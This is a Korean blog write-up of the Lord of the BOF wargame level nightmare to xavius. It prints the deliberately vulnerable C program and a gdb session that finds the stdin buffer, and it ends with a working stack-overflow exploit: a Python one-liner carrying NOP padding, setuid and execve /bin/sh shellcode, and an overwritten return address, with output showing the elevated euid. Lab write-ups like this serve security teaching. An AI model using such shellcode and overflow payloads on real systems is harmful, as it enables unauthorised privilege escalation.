본문 바로가기
# write-up/- Lord of Bof

[LOB] nightmare -> xavius

by ddddh 2016. 12. 8.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}


        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}



이 문제는 stdin(입력 버퍼)를 이용하는 문제다.


cp로 복사한 파일을 gdb로 열어 stdin(입력 버퍼)의 주소를 구한 뒤, ret의 주소를 stdin(입력 버퍼)로 덮어 씌우면 프로그램이 종료되면서 쉘 코드가 실행된다.


[nightmare@localhost nightmare]$ gdb -q ./vavius 

(gdb) set disassembly-flavor intel

(gdb) disassemble main

~~~

0x804871a <main+6>: mov    %eax,%ds:0x8049a3c

0x804871f <main+11>: push   %eax  <- software break point 

0x8048720 <main+12>: push   0x100

0x8048725 <main+17>: lea    %eax,[%ebp-40]

0x8048728 <main+20>: push   %eax

0x8048729 <main+21>: call   0x8048408 <fgets>

0x804872e <main+26>: add    %esp,12 <- software break point

~~~
(gdb) b *main+11
Breakpoint 1 at 0x804871f
(gdb) b *main+26
Breakpoint 2 at 0x804872e
(gdb) r
Starting program: /home/nightmare/./vavius 

Breakpoint 1, 0x804871f in main ()
(gdb) info reg
eax            0x401068c0 <- stdin의 주소
~~~
(gdb) c <- continue 
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <- 입력 값

Breakpoint 2, 0x804872e in main ()

(gdb) x/80wx 0x401068c0 <- stdin
0x401068c0 <_IO_2_1_stdin_>:     0xfbad2288     0x4001503b     0x4001503b     0x40015000

(gdb) x/1wx 0x4001503b-0x4
0x40015037: 0x0a414141

(gdb) x/80wx 0x40015000
0x40015000:     0x41414141     0x41414141     0x41414141     0x41414141
0x40015010:     0x41414141     0x41414141     0x41414141     0x41414141
0x40015020:     0x41414141     0x41414141     0x41414141     0x41414141
0x40015030:     0x41414141     0x41414141     0x000a4141     0x00000000


stdin의 0x4001503bfgets()로 stdin의 값을 buffer로 옮긴 다음 주소를 나타내고,


0x40015000 stdin의 시작 주소를 나타낸다. 


이제 paylaod를 짜 exploit을 하면 된다.


payload를 짤 때는 fgets로 값을 받기 때문에 cat 과 pipe를 사용하여 인자를 전달해야 된다.


(python -c 'print "Shellcode + dummpy 44 byte" + "stdin 시작 주소 (0x40015000)"';cat) | ./xavius


[nightmare@localhost nightmare]$ (python -c 'print "\x90"*14+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x01\x50\x01\x40"';cat)|./xavius

jX1܍j

     XRh//shh/bin⑓⍀P@

id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] death_knight  (0) 2016.12.09
[LOB] xavius -> death_knight  (0) 2016.12.09
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07